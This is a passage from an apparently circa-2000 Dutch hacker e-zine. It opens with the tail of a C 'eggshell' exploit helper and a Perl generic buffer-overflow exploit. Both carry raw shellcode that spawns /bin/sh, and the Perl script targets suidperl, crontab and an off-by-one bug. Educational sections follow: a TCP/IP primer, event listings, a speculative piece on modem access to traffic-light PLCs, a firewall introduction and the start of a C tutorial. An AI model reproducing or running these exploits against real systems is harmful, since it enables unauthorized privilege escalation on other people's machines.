i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } Algemeen exploit script in perl dat het probleem van offset gokken oplost door het environment leeg te halen. perl-exploit.pl #!/bin/perl # Generic exploit program in perl, which clears the environment to take # away the need for offset guessing. # Dvorak (@synnergy.net // @hit2000.org) 1999. $egg = "\x90" x 1500; $egg .= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"; $egg.= "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"; $egg.= "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; foreach $key (keys %ENV) { delete $ENV{$key}; } $ENV{"egg"} = $egg; #change the size of $buf if you need to. $buf=""; for ($i = 0; $i < 450; $i++) { $buf .= "\x8f\xff\xff\xbf"; } # Put here your use for $buf, the string to exploit te vulnerable program with # old suidperl exploit system("/usr/bin/suidperl $buf"); # old crontab exploit $happy_file = "/tmp/.happy_file"; open(F, ">$happy_file"); printf F "$buf=X\n"; close F; system("/usr/bin/crontab $happy_file"); unlink $happy_file; # exploit for the off-by-one bug. system("./vuln $buf"); Dvorak ------------------------------------------------------- 07. TCP/IP Voor newbies ------------------------------------------------------- --[ Preface De meesten die deze guide lezen, kennen TCP/IP waarschijnlijk al vanuit hun broekzak, maar ja! Deze text is dan ook bedoeld voor alle newbies die de TCP/IP-basisprincipes niet beheersen. Niet iedereen is geboren met een UNIX-manual in zijn hand en een Internet-aansluiting binnenin zijn wieg. Nee, zelfs Condor (Kevin Mitnick) is ergens moeten beginnen. Zolang er technologie bestaat, zullen er newbies zijn. En iedereen, jep *iedereen*, kan altijd iets bijleren! Niemand weet ooit alles... Deze text is echt een simpele -en zeer beknopte- inleiding tot TCP/IP. --[ Eerst en vooral: TCP/IP Eigenlijk is TCP/IP gewoon een set van protocollen, ontwikkeld voor WAN's, die steunen op een vierlagenmodel: Network Interface, Internet, Transport en Application. TCP/IP wordt trouwens ook veel gebruikt bij LAN's. --[ En dan nu: het vierlagenmodel De onderstaande figuur geeft een ietwat duidelijker beeld van dit model. +-------------------+-------------------+ | Windows Sockets | NetBIOS | --> Application Layer +-------------------+-------------------+ | UDP | TCP | --> Transport Layer +------------+------+------+------------+ | ICMP | IP | ARP | --> Internet Layer +------------+-------------+------------+ | | --> Network Interface Layer +---------------------------------------+ De onderste laag is de Network Interface laag. Die is verantwoordelijk voor zowel het zetten van frames op de kabel, als het afhalen van frames van de kabel. Dan de volgende laag, de internet laag, houdt zich voornamelijk bezig met de adressering en routing functies. Die werkt volgens drie protocollen: o Het Address Resolution Protocol of ARP dat gebruikt wordt om fysieke adressen te verkrijgen van hosts die zich bevinden op hetzelfde netwerk. o Het Internet Protocol of IP dat grotendeels verantwoordelijk is voor de adressering en de routing van packets tussen hosts en netwerken. o En het Internet Control Message Protocol of ICMP dat berichten stuurt en fouten rapporteert in verband met de levering van een packet. Dan de transport laag. Die is verantwoordelijk voor de communicatie tussen twee hosts. Deze werkt ook volgens twee protocollen: o Het Transmission Control Protocol of TCP die een verbindingsgerichte en betrouwbare verbinding biedt wanneer grote hoeveelheden van data op hetzelfde moment verzonden moeten worden. Een ACK, een acknowledgement of een ontvangstbevestiging, wordt per ontvangen segment teruggestuurt. o Het User Datagram Protocol of UDP die verbindingsloze services biedt en niet garandeert dat de packets zullen aankomen. UDP wordt meestal gebruikt wanneer kleine hoeveelheden data tegelijkertijd moeten worden verzonden. Betrouwbare verzending is dus de verantwoordelijkheid van het gebruikte prog. En dan is er nog de bovenste laag, de application laag. Dat is de laag waar progs toegang krijgen tot het netwerk. --[ Ten eerste: de network interface laag Zoals ik reeds heb gezegd, is deze verantwoordelijk voor het zetten van frames op de kabel en het afhalen van frames van de kabel. De gebruikte methode verandert ook naargelang het type netwerk. Wanneer de network interface laag een packet ontvangt van de bovenliggende laag, de internet laag, wordt er een preamble en een CRC aan toegevoegd. De preamble is gewoon een reeks bytes die het begin van een frame aanduiden. De CRC of cyclic redundancy check is een wiskundige berekening die toegevoegd wordt om er zeker van te zijn dat het pakket geen fouten bevat. Nu wordt het frame op de kabel gezet. Als dit frame aankomt bij de eindbestemming (de ontvangende host), dan wordt de preamble verwijderd en de wiskundige berekening opnieuw uitgevoerd. Komt de berekende waarde overeen met de originele CRC, dan wordt er naar het fysieke eindadres gekeken binnenin de frame. Is het een broadcast adres, of komt het overeen met de network interface, dan wordt dit frame doorgegeven aan het juiste protocol in de bovenliggende laag. Komen de berekende waarde en de originele CRC niet overeen, wordt het frame gewoon verwijderd. --[ Ten tweede: de internet laag Hierop worden de packets geadresseerd voor routing. IP biedt verbindingsloze services waarmee bedoelt wordt dat er geen sessie gemaakt moet worden met een andere host vooraleer een pakket kan verzonden worden. Hierdoor is IP dan ook onbetrouwbaar. Packets kunnen bijvoorbeeld tijdens het verzenden zoekraken, niet in de juiste volgorde toekomen of zelfs twee keer voorkomen, waardoor de betrouwbaarheid de taak wordt van de bovenliggende protocollen. Wordt een packet van de transport laag doorgegeven aan de internet laag, dan voegt IP er een eigen header aan toe. Deze header bevat onder andere het bronadres, het bestemmingsadres, het gebruikte protocol, een checksum value en een TTL. De checksum value is een simpele wiskundige berekening om te controleren of het pakket wel degelijk foutloos is toegekomen. TTL, de Time To Live of gewoon de levensduur, bepaalt het aantal seconden dat een packet mag doorbrengen op de kabel. Dit voorkomt dat een packet eindeloos blijft ronddwalen op het netwerk. Wordt het bestemmingsadres herkent als een lokaal adres, dan verzendt IP het packet direct naar die host. Anders, dus als het een extern adres is, dan controleert IP de routingtabel voor een eventuele route naar die host. Wordt er een route gevonden, dan zendt IP het packet gewoon volgens die route. Wordt er geen route gevonden, dan wordt het packet naar de standaardgateway, ook een router, van de bronhost gestuurd. Als het pakket door de router ontvangen wordt, wordt het doorgegeven aan IP dat er het volgende mee doet: o het vermindert de TTL met één bij elke router, of meer als het pakket wat blijft steken door overbelasting aan de router. Is de levensduur nul, dan wordt het pakket verwijderd. o Dan berekent IP opnieuw de cheksum value. o IP vraagt het fysieke adres op van de volgende router. o IP stuurt uiteindelijk het pakket door. Dit proces wordt dus telkens herhaald per router dat het packet tegenkomt totdat het zijn eindbestemming bereikt heeft. Ontvangt de router een pakket dat te groot is voor het onderliggende netwerk, dan breekt IP het packet op in kleinere stukken. Enkel en alleen als de stukken op de eindbestemming aankomen, voegt IP de stukken terug bij elkaar tot het originele pakket terug gevormd wordt, wat fragmentatie wordt genoemd. Per stuk wordt er ook een nieuwe header aangemaakt die bestaat uit: o een vlag om aan te duiden dat er nog fragmenten volgen. o Een fragment-ID om aan te duiden welke fragmenten nu juist bij elkaar horen. o En een fragment-offset om aan te duiden in welke volgorde IP de stukken terug moet samenvoegen. Uiteindelijk wordt het samengestelde pakket door de stack doorgegeven aan ofwel TCP, ofwel UDP. Als IP packets moet routen, dan moet IP sowieso het fysieke eindadres kunnen verkrijgen. IP gebruikt hiervoor het ARP protocol bij broadcast- gebaseerde netwerken. De werking hiervan: ARP wordt aangesproken door IP en raadpleegt eerst en vooral de ARP cache om te zoeken achter het fysieke adres dat overeenkomt met de eindbestemming. Vindt ARP dit niet, dan creëert ARP een ARP request frame voor het fysieke eindadres, waarbij zowel het IP-adres als het fysieke bronadres mee in wordt opgenomen. Vervolgens wordt het frame op de kabel gezet en gestuurd naar het gehele lokale netwerk. Alle hosts ontvangen dit request frame en sturen het door naar hun ARP protocol. Komt het IP-adres van de ontvangende host overeen met het gevraagde eindadres, dan wordt er in deze host een ARP reply gemaakt dewelke zijn fysieke eindadres bevat en wordt deze reply direct gestuurd naar de bronhost. Als deze reply ontvangen wordt, dan worden zowel het IP-adres als het fysieke adres ervan opgeslagen in de lokale ARP cache. En dus nu pas kan het packet verzonden worden. -- RFC 791 - Internet Protocol (IP) -- RFC 826 - Address Resolution Protocol (ARP) Treden er fouten op tijdens het routen, dan stuurt ICMP een foutmelding met enkele gegevens over de fout naar de bronhost. ICMP kan bijvoorbeeld een source quench bericht sturen als een router niet meer kan volgen doordat hij overbelast wordt. Deze source quench laat weten dat de host zijn transmissiesnelheid moet verlagen. Of ICMP kan een redirect bericht sturen wanneer een gewenste route aangevraagd wordt, als bijvoorbeeld een bepaalde router overbelast is en dus een andere route gebruikt moet worden. Of een 'destination unreachable' bericht wanneer er geen route mogelijk is. Dit ICMP bericht wordt samengesteld tot een IP datagram en wordt gerouted naar de bron host. -- RFC 792 - Internet Control Message Protocol (ICMP) --[ Ten derde: de transport laag Deze laag voorziet de eindpunten tussen de twee hosts waartussen de communicatie zal plaatsvinden. Bij zowal UDP als TCP worden dit ports genoemd. UDP wordt meestal gebruikt wanneer kleine hoeveelheden data tegelijkertijd moeten worden verzonden. UDP heeft twee belangrijke eigenschappen: o Het is verbindingsloos waarmee bedoelt wordt dat er geen verbinding dient gemaakt te worden tussen de twee hosts vooraleer data kan worden verzonden. UDP berichten kunnen ook gebroadcast worden zodat veel hosts het bericht ontvangen. o En het garandeert ook geen foutloze verzending. Packets kunnen in een foute volgorde of zelfs dubbel aankomen. Betrouwbare verzending is dus de verantwoordelijkheid van het gebruikte prog. Als een prog data wil verzenden, dan creëert UDP een header dat een bronport, een eindport (waar uiteindelijk de data naartoe zal worden verzonden) en een checksum value (voor zowel de data als deze header te controleren) bevat. Wordt het packet bij de eindhost ontvangen, dan wordt dit doorgestuurd naar UDP die het op zijn beurt aflevert aan de eindport. -- RFC 768 - User Datagram Protocol (UDP) TCP wordt meestal gebruikt bij progs die grote hoeveelheden aan data moeten verzenden. TCP heeft drie belangrijke eigenschappen: o Het is verbindingsgericht waarmee dus bedoelt wordt dat TCP eerst een verbinding zal maken tussen de twee hosts vooraleer data kan worden verzonden. o Het is enorm betrouwbaar doordat TCP gebruik maakt van een nummering en ACK's (acknowledgment of ontvangstbevestiging). De nummering laat TCP toe de segmenten op te splitsen in verschillende packets op de bronhost zodat op de eindhost de packets gemakkelijk bij elkaar kunnen worden gebracht. o En de communicatie van TCP is bytegeoriënteerd waardoor gegevens worden behandeld als een opeenvolging van bytes. -- RFC 793 - Transmission Control Protocol (TCP) --[ Ten vierde: de application laag Dit is de laag waar progs toegang krijgen tot het netwerk. Micro$oft TCP/IP ondersteunt Windoze Sockets en NetBIOS interfaces tussen progs en de transport laag. Windoze Sockets voorzien een standaard API onder Windows voor transport protocollen met verschillende adresseringsmethoden. NetBIOS voorziet een standaard interface voor protocollen zoals TCP/IP en NetBEUI die de NetBIOS naming conventions ondersteunen met betrekking tot de adressering. --[ RFC's De verschillende protocollen die bij de vier lagen horen, worden elk behandeld in hun eigen RFC. RFC's of Request For Comments zijn artikelen waarin alle mogelijke protocollen en afspraken in verband met het Internet en netwerken genoteerd staan. Het zijn er tot nu toe ettelijke duizenden, en het aantal blijft gestadig toenemen per nieuwe afspraak er gemaakt wordt... RFC's kunnen gedownload worden op : http://www.cis.ohio-state.edu/hypertext/information/rfc.html Zym0t1c ------------------------------------------------------- 08. Evenementen ------------------------------------------------------- --Hackers4Hackers Meeting Zaterdag 4 Maart 2000-- Hackers 4 Hackers organiseert op 4 Maart een meeting in Arnhem. Het idee is als volgt, zaterdag middag tussen 12:00 en 13:00 verzamelen in de stationshal in Arnhem, uiteraard geven we aan waar de meeting point is. vervolgens kan het gezelschap naar een "besloten" café in Arnhem gaan om daar onder het genot van een drankje en muziek iedereen de gelegenheid geven elkaar in real life te ontmoeten... Aangezien Hackers 4 Hackers geen winstgevende bezigheid is voor de crew zal je je drankjes dus zelf moeten betalen. Uiteraard vragen we geen entree of wat voor een bijdrage dan ook voor deelneming... Je komt of je komt niet =) Het kan tot s'nachts 2 uur duren (en zal het ook zeker gaan duren voor de crew =), Maar je bent natuurlijk vrij om naar huis te gaan wanneer je wil. (al kom je maar 1 uurtje (dus tot 14:00 ofzo) dan ben je ook welkom !) Het is dus niets anders als een gezellige middag voor iedereen die komt. En niet de bedoeling dat mensen computers mee nemen. Datum: 04-03-2000 Lokatie: Arnhem Homepage: http://www.hackers4hackers.org/h4h-meeting --Innersphere Lanparty-- Een LANparty, een samenkomst van mensen die allemaal hun computer meebrengen om op de party één groot en snel netwerk vormen, om alzo informatie uit te wisselen, games te spelen en op het intra- of internet te surfen. Naast het netwerk zijn er ook tal van andere activiteiten, competities en demo's te bewonderen op INNERSPHERE waar je zelf kan aan mee doen Datum: 03-03-2000 tot 05-03-2000 Lokatie: Beerzel(PUTTE), België Homepage: http://www.innersphere.org --Klaphek Meeting Zondag 9 April 2000-- De derde Klaphek Meeting in vernieuwde vorm zal plaatsvinden op zondag 9 april. Jawel, op zondag! Die dag waarop je je normaal alleen maar zit te vervelen! Maar de ontmoetingsplaats blijft wel hetzelfde, namelijk het Centraal Station in Utrecht, voor het GWK kantoor in de stationshal. We verwachten jullie daar om 14:00 te ontmoeten. Dus gewoon op dat groepje "verdachte" personen aflopen. Zij zijn er ook alleen maar om elkaar een keer te ontmoeten en wat informatie uit te wisselen of te discussieren over onderwerpen die hen bezighouden. 't Klaphek hoopt dat hieruit enkele interessante projecten voortvloeien, en wil lezers aanzetten tot het schrijven van artikelen. Uiteraard is een gezellige middag met mensen met dezelfde interesses ook altijd erg leuk. Wij verzamelen dus om 14:00 voor het GWK in de stationshal. Van hieruit zullen wij bekijken wat we gaan doen. Afhankelijk van de grote van de groep kunnen wij beslissen om de stad in te gaan. Datum: 09-04-2000 Lokatie: Centraal Station, Utrecht Homepage: http://www.klaphek.nl --2nd International SANE Conference-- Technology is advancing, the systems administration profession is changing rapidly, and you have to master new skills to keep apace. At the International SANE (System Administration and Networking) conference you'll find a wealth of opportunities to meet other system administrators and network (security) professionals with similar interests, while attending a program that brings you the latest in tools, techniques, security and networking. Datum: 22-05-2000 tot 25-05-2000 Lokatie: Maastricht Homepage: http://www.nluug.nl/events/sane2000/index.html ------------------------------------------------------- 09. Stoplichten ------------------------------------------------------- Als verkeerslichtinstallatie werkelijk op een PLC werkt (bijna wel zeker dat dat bij nieuwe installaties zo is, oude misschien nog op relais techniek?), dan is het verhaal van Tozz wel juist maar gebaseerd op oude techniek. Een PLC is een electronisch regel- of stuurorgaan waarin combinatorische en/of seguentiele logicafuncties programmerbaar zijn. (Combinatorisch = afhankelijk van ingangssignaal, sequentieel = tijdsafhankelijk ofwel volgorde logica). De PLC vervangt o.a. de relaisbesturingskasten, timers etc. De huidige generaties PLC's zijn in staat om bijvoorbeeld complexe fabrieken aan te sturen en te regelen. Dus dat je er niet veel mee kan is niet helemaal waar. En je raad het al een moderne PLC wordt geprogrammeerd mbv van software die onder window95/98/NT etc. etc. werkt en waar dus een keyboard, muis, monitor en bv een modem nodig zijn. Een PLC kan on-line of off-line geprogrammeerd worden. Voor alle duidelijkheid on-line programmeren is direct op de PLC programmeren zonder tussenkomst van de PC, waarna het later naar de PC geschreven kan worden om te bewaren cq. aanpassingen te verrichten. (Van de PLC naar de PC wegschrijven is up-loaden) Omdat programma's (meestal) off-line mbv de editor geschreven worden, moet bij een nieuw programma opgegeven worden voor welke PLC het programma is bedoeld. Dit wordt opgegeven in de editor, die heeft de volgende hoofdfunties: APPEND: aanmaken van een nieuwe instructie INSERT: maakt een nieuwe instructie boven de instructie waar de cursor staat. DELETE: zou wel wat verwijderen denk ik. Iedere instructie kan voorzien zijn van (hulp)tekst. Deze tekst kan bv aangeven wat de functie is van de schakeling. Door te down-loaden kan kan het programma van de PC geladen worden in de PLC. Monitoring. Door de PC aan te sluiten op de PLC link of een Data-Highway en het juiste stationsnummer te kiezen kan in de PLC gekeken worden naar: 1) Het Ladderprogramma: --> status van I/O bits (als bit instructie oplicht is het contact gesloten (true)) --> stand van tellers en timers (lopende waarden en pre-set waarden kunnen bekeken (!) en gewijzigd (!) worden. 2) De data table --> bit adressen en woord adressen, satus van bits kunnen worden veranderd. En nog enkele andere dingen kunnen worden bekeken. Omdat een PLC niet afhankelijk is van een Data-Highway of netwerk, maar ook kan communiceren met een modem is het heel goed mogelijk dat de PLC's in verkeerslicht installaties zijn voorzien van een modem en op deze wijze geprogrammeerd, en van buitenaf beinvloed worden, zoals voor de brandweer etc. Dit kan ook bijvoorbeeld bij op afstand bediende bruggen het geval zijn, snelwegverlichting, wegsignalering (het bekende rode kruis, snelheid) etc. Door een modemverbinding zijn ze uiteraard over grote afstanden te bedienen, maar ook op een intern netwerk in een fabriek kunnen ze op behoorlijke afstanden met elkaar communiceren. NB: Stationsadres/nummer = het adres dat op de PLC proccesor via dipswitches is ingesteld (Allen Bradley). Veel voorkomende extensie voor bestandsnamen is *.ACH. Bij iedere bestandsnaam is ook aangegeven het stationsadres op de PCL link en de editor instelling. Bekende fabrikanten van PLC's zijn o.a. : Allen Bradley, Siemens, Hitachi Software voor PLC's gemaakt door: o.a. ICOM-AI voor AB, Vector voor Hitachi Maar of alles zoals bovengenoemd werkelijk op PLC besturing werkt weet ik ook niet, maar er is vast genoeg kennis van mensen die dit wel weten. Cobus. ------------------------------------------------------- 10. Inleiding tot firewalls ------------------------------------------------------- "Firewalls can be an effective means of protecting a local system or network of systems from network-based security threats while at the same time affording access to the outside world via wide area networks and the Internet." -- William Stallings, Cryptography and Network Security - Principles and Practice, Second Edition "Een firewall is een combinatie van hardware en software (die vaak samenwerken om verschillende protocollen te beheren) die u gebruikt om uw netwerk te beschermen tegen ongeoorloofde toegang." -- Lars Klander, Hacker Proof --[ Preface Sorry guys voor alle typos. De examens staan voor de deur, evenals de feestdagen... Ik heb gewoon gewwon geen goesting om alles een paar keer te lezen om alzo alles *perfect* te krijgen. Who cares! Enjoy the stuff, and keep on reading, because... knowledge is power! --[ Introductie Waarvoor dient nu in godsnaam een firewall? (Jeezes zeg!) Wel, een firewall vormt eigenlijk een centrale locatie waardoor de beveiliging van het systeem vergemakkelijkt wordt omdat de beveiligingsmogelijkheden worden samengebracht tot één enkel systeem, of eventueel een paar systemen. Een firewall probeert ook onbevoegden buiten het netwerk te houden, verbiedt ook mogelijke inkomende en uitgaande 'zwakke' services (lees: beveiligingslekke services) en biedt een beveiliging tegen allerlei vormen van IP spoofing en routing attacks. Een firewall voorziet ook 'monitoring', dit is het vastleggen van gebeurtenissen in verband met de beveiliging. Een firewall levert ook Internet functies die niets te maken hebben met de veiligheid van een systeem, zoals een netwerkadresvertaler en functies die het Internet gebruik bijhouden. Er zijn nog andere gebruiken, maar deze zijn de voornaamste. --[ Voorwaarden van firewalls Zoals alle goeie hard- en software, moeten ook firewalls voldoen aan bepaalde voorwaarden. Een firewall moet alle toegang blokkeren tot het netwerk behalve die via de firewall. Hierdoor *moet* zowel het inkomende als het uitgaande verkeer langs de firewall passeren. Een firewall mag ook enkel en alleen het verkeer doorlaten dat voldoet aan de lokale veiligheidsnormen. En tot slot moet de firewall zelf ook bestand zijn tegen penetratie van buitenaf (doh!). Om dit te kunnen bereiken bestaan er verschillende technieken om de toegang te controleren. Een eerste techniek is de 'Service control'. Deze bepaald welke typen van Internet services toegankelijk zijn. De firewall kan filteren op basis van IP-adressen en TCP-ports. Hij kan ook proxy software voorzien dat elke service request ontvangt en interpreteert vooraleer deze door te laten. Een andere techniek is de 'Direction control'. Deze bepaald de richting langs welke bepaalde service requests mogen toegelaten worden door de firewall. 'User control' bepaald of een user al dan niet toegang krijgt tot een zekere service. Dit wordt meestal toegepast bij users die zich bevinden binnenin de firewall. Het kan ook toegepast worden op binnenkomend verkeer van externe users. Deze zal dan gebruik maken van een soort van beveiligde authentificatie. Een laatste techniek is de 'Behavior control'. Deze bepaald hoe bepaalde services gebruikt worden, zoals daar zijn: het filteren van e-mails om spam te verwijderen, het beperken van externe toegang tot alleen maar enkele delen van de lokale Web-server, enz.. Firewalls zijn natuurlijk nooit perfect door flaws en beperkingen. Firewalls kunnen een netwerk bijvoorbeeld niet beschermen tegen aanvallen die de firewall omzeilen (logisch eigenlijk, maar toch!). Interne systemen kunnen dial-out mogelijkheden hebben om een verbinding te maken met een ISP, waardoor ze direct de firewall omzeilen. LAN's kunnen ook modems gebruiken die dial-in mogelijkheden bieden voor remote users, users die extern inbellen op een interne modem. Een firewall biedt ook geen enkele weerstand tegen interne bedreigingen van werknemers. En tot slot biedt de firewall ook geen bescherming tegen de overdracht van viruscode in programma's en files, dit omwille van de grote verscheidenheid van besturingssystemen en programma's. Het wordt voor de firewall een onmogelijke taak om alle inkomende files, e-mails en berichten te scannen op virussen. --[ De meest gebruikte firewalls Nu, we weten al waarvoor firewalls dienen, aan welke voorwaarden deze moeten voldoen, welke technieken ze toepassen en welke beperkingen ze hebben. Laat ons nu de drie meest gebruikte typen van firewalls bespreken. Allereerst is er de 'Packet-filtering router'. Deze past op elk inkomend IP-packet bepaalde filterregels toe om ze vervolgens ofwel door te laten, ofwel te weigeren. Uitgaande packets worden meestal ook gefilterd, alhoewel dit niet standaard gebeurt. Deze filterregels zijn gebaseerd op bepaalde velden binnenin de IP-en de transportheader (TCP en UDP), met zowel het bron- als het bestemmings-IP-adres, het IP-protocol veld (definieert welk transport protocol gebruikt wordt) en het TCP- of UDP-nummer (definieert de gebruikte toepassing zoals telnet of SMTP). Deze packet-filter is meestal geconfigureerd aan de hand van een reeks regels die overeenkomen met de IP- of TCP-header. Is er een regel die overeenkomt, dan wordt deze toegepast om ofwel het packet door te laten, ofwel het packet te weigeren. Werd er echter geen overeenkomst gevonden, dan wordt een default actie toegepast. Is deze default actie 'discard', dan wordt dat wat niet exact toegelaten is, verboden. Anderzijds, als default 'forward' is, dan wordt dat wat niet exact verboden is, toegelaten. 'Discard' wordt het meeste gebruikt als default. Hierdoor wordt aanvankelijk alles geblokkeert en services moeten telkens per geval toegevoegd worden, waardoor de firewall eerder beschouwt wordt als een hinderpaal dan een beveiligingsinstrument. Als default 'forward' is, dan verhoogt deze het gebruiksgemak, maar vermindert deze de beveiliging. Een groot voordeel van een Packet-filtering router is zijn eenvoud. Ook zijn deze filters onzichtbaar voor de users en zijn ze erg snel. De moeilijkheden liggen hem in het configureren van de filterregels en de tekortkoming van de authentificatie. IP spoofing, source routing attacks en tiny fragment attacks kunnen hierop met succes worden uitgevoerd. Een tweede soort is de 'Application-Level Gateway', ook wel proxy-server genoemd. Deze doet dienst als een schakel bij het verkeer op de toepassingslaag. De user contacteert de gateway door gebruik te maken van een TCP/IP-applicatie, zoals telnet of FTP, en de gateway vraagt de user de naam van de remote host die hij wil bereiken. Als de gebruiker antwoord en een geldig user-ID en password kan voorleggen, dan contacteert de gateway de applicatie op de remote host en verzendt TCP-segmenten die de data bevat tussen de twee eindpunten. Als de gateway de proxycode niet implementeert voor een bepaalde toepassing, wordt de service niet ondersteund en kan deze niet doorgestuurd worden door de firewall. Verder nog, de gateway kan ook geconfigureerd worden om enkel bepaalde mogelijkheden te ondersteunen, en andere mogelijkheden dus ook te weigeren. Application-level gateways zouden veiliger zijn dan Packet filters. Deze gateway moet enkel de ondersteunbare applicaties meegeconfigureerd krijgen in plaats van alle verschillende mogelijke combinaties die toegestaan en geweigerd worden op het TCP- en IP-level bij Packet filters. Ook is het gemakkelijk om al het inkomend verkeer op de toepassingslaag bij te houden. Een groot nadeel van deze gateways is de bijkomende procesverwerking per bijkomende verbinding. Eigenlijk zijn er altijd twee afzonderlijke verbindingen tussen de twee eindgebruikers en de gateway; een met de gateway aan de ene kant, plus de gateway moet al het verkeer op zich nog eens onderzoeken en doorsturen naar de eindgebruikers. Een derde soort is de 'Circuit-level gateway'. Dit kan een stand-alone systeem zijn of het kan een bepaalde functie zijn, uitgevoerd door een Application-level gateway voor bepaalde toepassingen. Een Circuit-level gateway laat geen directe TCP-verbindingen toe. Hij zal eerder twee TCP- verbindingen maken; een verbinding tussen hemzelf en de TCP-user op een Internet host en een verbinding tussen hemzelf en een TCP-user op een externe host. Vanaf het moment dat de twee verbindingen tot stand zijn gebracht, zal de gateway de TCP-segmenten doorsturen van de ene verbinding naar de andere zonder de inhoud ervan te onderzoeken. De beveiligingsfunctie bestaat erin het bepalen van welke verbindingen toegestaan zullen worden. Deze zal meestal toegepast worden daar waar de sysop de Internet gebruikers volkomen vertrouwd. De gateway kan geconfigureerd worden om proxy services toe te laten bij interne verbindingen en de Circuit-level functies voor externe verbindingen. --[ De Bastion host Een weliswaar meest gebruikt type van firewall is de 'Bastion host'. Een Bastion host is een systeem, herkend door de sysop als een kritiek en sterk punt bij netwerkbeveiliging. Meestal zullen de Bastion host servers dienst doen als als platformen voor een Application-Level gateway, of een Circuit-Level gateway. Deze zijn de eigenschappen van een Bastion host: o Op het bastion host hardware platform draait een beveiligde versie van zijn operating system, waardoor het een betrouwbaar systeem wordt. o Enkel en alleen de services die de sysop als noodzakelijk beschouwt, zijn geïnstalleerd op de Bastion host. Deze kunnen ook proxy applicaties zijn zoals Telnet, DNS, FTP, SMTP en user-verification. o De Bastion host kan bijkomende authentificatie eisen vooraleer een user toegelaten zal worden tot de proxy services. Verder nog: elke proxy service kan zijn eigen authentificatie eisen vooraleer een user toegang te verlenen. o Elke proxy is geconfigureerd om enkel een subset van de standaardcommando's van de toepassingen te ondersteunen. o Elke proxy is geconfigureerd om toegang te verlenen tot specifieke hosts. Hiermee wordt bedoelt dat men het beperken van features kan toepassen op een subset van systemen op het beschermde netwerk. o Elke proxy houdt gedetailleerde informatie bij door het loggen van alle verkeer, het loggen van elke verbinding en het loggen van de tijdsduur van elke verbinding. Deze vorm van monitoring is een essentiële tool voor het ontdekken van en tegenwerken van aanvallen van buitenaf. o Elke proxy module is een heel klein softwarepakketje, speciaal ontwikkeld voor netwerkbeveiliging. Door zijn simpelheid, is het gemakkelijker deze modules te controleren voor beveiligingsfouten of zwakheden. o Elke proxy is onafhankelijk van andere proxies op de Bastion host. Als er een probleem oprijst met de werking van een bepaalde module, of als er een mogelijke zwakheid ontdekt werd, kan het gemakkelijk verwijderd worden zonder de werking van de andere proxies te hinderen. En de sysop kan later, als er een nieuwe service vereist wordt door een aantal users, gemakkelijk de vereiste proxy installeren op de Bastion host. o Een proxy voert meestal geen andere vorm van disc access uit dan het lezen van zijn eigen configuratiefile, waardoor het moeilijk wordt om een Trojan horse sniffer of andere *gevaarlijke* files te installeren op de Bastion host. o Elke proxy loopt als een non-priviliged user in een private en beveiligde directory op de Bastion host. --[ Bijvoegsel In tegenstelling tot de simpele configuraties die bestaan uit een single systeem, zoals een pakket filtering router (single gateway), zijn er meer complexe systemen mogelijk die trouwens ook meer gebruikt worden. 1) Screened host firewall, single-homed bastion: Hierbij bestaat de firewall uit twee systemen: een pakket filtering router en een bastion host. Meestal wordt de router zo geconfigureerd dat: o voor het verkeer van het Internet, alleen IP pakkets met de Bastion host als bestemming enkel worden toegelaten, o voor het verkeer van het interne netwerk, alleen IP pakkets van de Bastion host worden toegelaten naar buiten. De Bastion host voert de authenticatie en proxy functies uit. Deze configuratie heeft een grotere beveiliging dan enkel en alleen een pakket filtering router of een application level gateway. Twee redenen hiervoor: o deze configuratie biedt zowel pakket-level als applicatie-level filtering, waardoor er een zekere flexibiliteit wordt toegelaten in het beveiligingsbeleid. o een indringer moet twee aparte systemen binnendringen vooraleer de beveiling van het interne netwerk werd doorboord. Deze configuratie biedt ook een zekere flexibiliteit voor directe Internet toegang. Bijvoorbeeld: het interne netwerk kan een publieke informatie server bevatten, zoals een web-server, waarbij geen hoog level van beveiliging vereist is. In dat geval, kan de router worden geconfigureerd om alleen direct verkeer toe te laten tussen de information server en het Internet. Als bij deze configuratie de pakket-filtering router volkomen gecompromised wordt, kan verkeer vloeien direct door de router tussen het Internet en de andere host op het private netwerk. 2) De screened host firewall, dual-homed Bastion configuratie voorkomt fysiek zo een beveiligingstekort. De voordelen van twee beveiligingslagen zoals in de vorige configuratie zijn hier weeral van toepassing. Opnieuw, kan een information server of een andere host een directe verbinding verkrijgen met de router als dit in overeenstemming is met het beveiligingsbeleid. 3) De screened subnet firewall configuratie is de meest beveiligde van deze drie soorten die we hebben besproken. In deze configuratie zijn twee pakket filtering routers gebruikt; eentje tussen de Bastion host en het Internet, en eentje tussen de Bastion host en het interne netwerk. Deze configuratie creëert een geïsoleerd subnetwerk, dat kan bestaan uit enkel de Bastion host, maar kan ook een of meerdere information servers bevatten en modems voor dial-in mogelijkheden. Meestal zal zowel het Internet en het interne netwerk toegang hebben tot hosts op het screened subnet, maar verkeer over het screened subnet wordt geblokkeerd. Verschillende voordelen: o Nu zijn er drie levels van beveiliging tegen indringers. o De externe router toont alleen het bestaan van een screened subnet aan het Internet; waardoor het interne netwerk onzichtbaar wordt voor het Internet. o Likewise, zal de interne router enkel het bestaan tonen van het screened subnet aan het interne netwerk; waardoor de systemen in het interne netwerk geen directe verbindingen tot stand kunnen brengen met het Internet. Zym0t1c ------------------------------------------------------- 11. Programmeren in C ------------------------------------------------------- Okeej, we gaan nu een echte taal leren! En wel de taal C. Waarom C en geen C++? simpel omdat ik vindt dat als je C++ wil leren je eerst C moet leren. Sommige zeggen van niet, maar ik zeg van wel! Dus dan doen we dat ook :). Dit is eigenlijk een letterlijk kopie van C in 24 Hours die ik van Viper z'n website gehaald heb, maar ik probeer het wat makkelijker uit te leggen, en er staan fouten in dat boek.. en omdat C voor mij ook totaal nieuw is ben ik behoorlijk pissed geweest dat ie het niet doet, en dat wil ik jullie 